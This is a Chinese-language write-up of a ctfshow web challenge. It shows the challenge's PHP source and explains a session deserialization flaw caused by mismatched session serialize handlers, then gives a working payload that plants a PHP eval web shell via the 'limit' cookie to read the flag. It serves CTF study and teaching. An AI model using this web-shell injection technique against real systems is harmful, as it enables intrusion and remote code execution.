进入环境是一个登录界面 查看源码也没有什么东西,试着扫扫看 刚开始没扫出来东西,工具不太行了,看了wp发现是www.zip 访问得到源码 check.php:
<?php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass']
]
]);
if($data['id']){
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
flag.php:
<?php
$flag="flag_here";
index.php:
<?php
error_reporting(0);
session_start();
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>ctfshow登陆</title>
<link href="css/style.css" rel="stylesheet">
</head>
<body>
<div class="pc-kk-form">
<center><h1>CTFshow 登陆</h1></center><br><br>
<form action="" onsubmit="return false;">
<div class="pc-kk-form-list">
<input id="u" type="text" placeholder="用户名">
</div>
<div class="pc-kk-form-list">
<input id="pass" type="password" placeholder="密码">
</div>
<div class="pc-kk-form-btn">
<button onclick="check();">登陆</button>
</div>
</form>
</div>
<script type="text/javascript" src="js/jquery.min.js"></script>
<script>
function check(){
$.ajax({
url:'check.php',
type: 'GET',
data:{
'u':$('#u').val(),
'pass':$('#pass').val()
},
success:function(data){
alert(JSON.parse(data).msg);
},
error:function(data){
alert(JSON.parse(data).msg);
}
});
}
</script>
</body>
</html>
inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}
分析了一下源码,没分析出什么有用的东西,选择看一下wp 看了wp之后发现这题考到了一个新的点 1.php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION 数据,都会对数据序列化和反序列化,源码中有session_start的时候会读取session,从而进行反序列化.
2.php有三种处理器对$_SESSION 数据进行序列化和反序列化。 既
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值 php 键名+竖线(|)+经过serialize()函数处理过的值 php_serialize经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
后两种处理器是常见的,也是这题中考到的
<?php
session_start();
$_SESSION['aaa']='bbb';
当我们写入SESSION时,会在php的tmp中得到这样的一个文件 里面的内容是:
aaa|s:3:"bbb";
也就是用的第二种处理器对$_SESSION数据进行处理 那我们换php_serialize处理器
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['aaa']='bbb';
得到的内容存储格式是
a:1:{s:3:"aaa";s:3:"bbb";}
在session_start(); 默认的情况下,处理$_SESSION数据用的是php这种处理器,php处理器处理时会把| 前的作为键名,之后的作为要反序列化的值去处理,这也是做这题的关键点。而在session.serialize_handler中,默认是php处理器(5.5.4后改为php_serialize),那在inc.php和index.php使用的处理器就不同,所以这个差异就导致了 sesssion 反序列化问题。
在inc.php中,它使用的是php处理器去处理
ini_set('session.serialize_handler', 'php');
并且在User类中 __destruct() 方法中的username 和password 我们可以控制 那就可以在这里写入shell
在index.php中
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
$_SESSION['limit'] 的键值写错了,那就可以通过COOKIE来控制$_SESSION['limit'] 的值,从而进行当前页面的反序列化
开始构造payload: 从关键的user类开始下手 直接通过
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
写入 我们直接存入session
<?php
session_start();
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$user = new User('1.php','<?php eval($_POST[a]);?>');
$_SESSION['user']= $user;
得到
user|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[a]);?>";s:6:"status";N;}
而用php_serialize处理器得到的结果是
a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[a]);?>";s:6:"status";N;}}
比较一下,最大的不同就是|
user|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[a]);?>";s:6:"status";N;}
a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[a]);?>";s:6:"status";N;}}
在属性的值中加入| 的话 ,在check.php和inc/inc.php页面反序列化的时候|前面的会被看做键名,会对| 后面的进行反序列化
<?php
session_start();
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$user = new User('1.php','<?php eval($_POST[a]);phpinfo();?>');
echo urlencode(base64_encode('|'.serialize($user)));
得到
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNjoiPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7cGhwaW5mbygpOz8%2BIjtzOjY6InN0YXR1cyI7Tjt9
在登录界面传入cookie:limit=。。。并刷新一下 接着访问check.php 在访问log-1.php 看下目录,发现flag.php 读取flag.php
|